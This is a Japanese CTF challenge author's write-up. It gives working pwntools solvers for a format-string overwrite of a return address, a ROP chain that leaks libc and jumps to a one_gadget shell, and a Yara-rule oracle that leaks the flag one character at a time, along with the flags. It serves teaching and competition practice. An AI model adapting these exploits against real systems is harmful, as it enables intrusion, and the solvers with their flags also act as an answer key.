問題

私が作問に関わったのは以下の問題です

Pwn

Misc

新規メンバーが加入してくれたので少なめです。

Writeup

についてWriteupを書いていきます。 作問者Writeupは正解という訳では無く、あくまで一例です。皆様独自のWriteupをお待ちしております。 他の問題については今後追加予定です。

他の作問者のWriteup

Pwn

Forgot_Some_Exploit

FSBです。正直自分もあまりFSBは好きじゃないし得意じゃないので、ROPよりSolveが少ないのも納得できます。 1回目のfsbでmainのアドレスとリターンアドレスの位置をリークした後、2回目でリターンアドレスを書き換えます。 FSBが苦手なのでpwntoolsの便利機能を使いました。

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9002'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

def exec_fmt(payload):
    p = process(binfile)
    p.sendline(payload)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = 6 autofmt.offset

io = remote(HOST, PORT)

main_leak_payload = f'%41$p %47$p'

io.sendline(main_leak_payload.encode())
line = io.readline().decode().strip().split()
leak = list(map(lambda p: int(p, base=16), line))
main_addr = leak[0] - 14
base_addr = main_addr - e.sym['main']
win_addr = base_addr + e.sym['win']
ret_addr = leak[1] - 0x240

payload = fmtstr_payload(offset, {ret_addr: win_addr})
assert(len(payload) < 0x100)

io.sendline(payload)

io.recvuntil(b'ctf4b')
print('ctf4b' + io.readline().decode(), end='')

Flag: ctf4b{4ny_w4y_y0u_w4nt_1t}

Elementary_ROP

毎年恒例(?)ROPシリーズです canaryとPIE以外のセキュリティ機構がすべて有効になっています。

方針としては

  1. printfを利用してlibcのベースアドレスをleak
  2. one gadgetの条件に合わせてシェルを取る

みたいなパターンだと思います。

かなり面倒なことをしているソルバが以下です。printfでleakする為にmainの途中に遷移させ、そこから2回目のペイロードをそのまま送っています。

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv("CTF4B_HOST", "0.0.0.0")
PORT = int(os.getenv("CTF4B_PORT", "9003"))

binfile = "./chall"
context.log_level = "critical"
e = ELF(binfile)
libc = ELF("libc.so.6")
context.binary = binfile

io = remote(HOST, PORT)

one_gadgets = [0xEBCF1, 0xEBCF5, 0xEBCF8]

pad = b"a" * 0x20 + pack(e.got["printf"] + 0x20)

rop = ROP(e)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(pack(e.got["printf"]))  # printf arg for leak
rop.raw(rop.find_gadget(["pop rbp", "ret"]))
rop.raw(pack(e.bss() + 0x400))
rop.call(pack(0x401171))  # mov rax, 0 ; call printf

payload = pad + rop.chain()

io.sendlineafter(b"content: ", payload)

leaked = unpack(io.recv(8).ljust(8, b"\0"))
libc_base = leaked - libc.sym["printf"]

pad = b"a" * 0x20
payload = pad + pack(e.bss() + 0x500)
payload += pack(libc_base + 0x000000000002BE51)  # pop rsi ; ret
payload += pack(0)
payload += pack(libc_base + 0x000000000011F497)  # pop rdx ; pop r12 ; ret
payload += pack(0)
payload += pack(0)
payload += pack(libc_base + one_gadgets[2])

io.sendline(payload)

io.sendline(b"echo shell")
io.recvuntil(b"shell\n")
io.sendline(b"cat flag.txt")
print(io.readline().decode(), end="")

Flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

YARO

去年に引き続きYaraの問題です。

今回はAV Oracleみたいな問題を作りたいという願望から産まれたんですが、微妙ですね。まぁYaraの勉強にはなるかもしれません。 一文字ずつmatchするルールを書いてleakするんですが、複数ルールを書けることに気付く(exampleを見ればわかる)と、少し簡単になります。


#!/usr/bin/env python3
from pwn import *
import os
import string

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5003'))

context.log_level = 'critical'

flag = 'ctf4b{'

length_rule = '''rule format {
    strings:
        $fmt = /ctf4b{.*}/
    condition:
        any of them
}'''

for i in range(100):
    fmt = 'ctf4b{' + '.' * i + '}'
    rule = f'''
rule length_{i} {{
    strings:
        ${i} = /{fmt}/
    condition:
        any of them
}}'''
    length_rule += rule


length_rule += '\n'

io = remote(HOST, PORT)

io.sendlineafter(b'rule:', length_rule.encode())

io.recvuntil(b'matched: [format, length_')

length = int(io.recv(2).decode())

io.close()

chars = string.ascii_letters + string.digits + '_'

rule = ''

for i in range(length):
    for c in chars:
        rule += f'''rule flag_{i}_{c} {{
    strings:
        $flag = /ctf4b{{{'.'*i+c}.*/
    condition:
        any of them
}}
'''

io = remote(HOST, PORT)
io.sendlineafter(b'rule:', rule.encode())
io.recvuntil(b'OK. Now I find the malware from this rule:')
result = ''.join(io.recvallS())
io.close()

leaked = map(lambda s: s[-1], result.splitlines()[-2].lstrip('Found: ./flag.txt, matched :').rstrip(']').lstrip('[').split(', '))

print(flag + ''.join(leaked) + '}')

Flag: ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}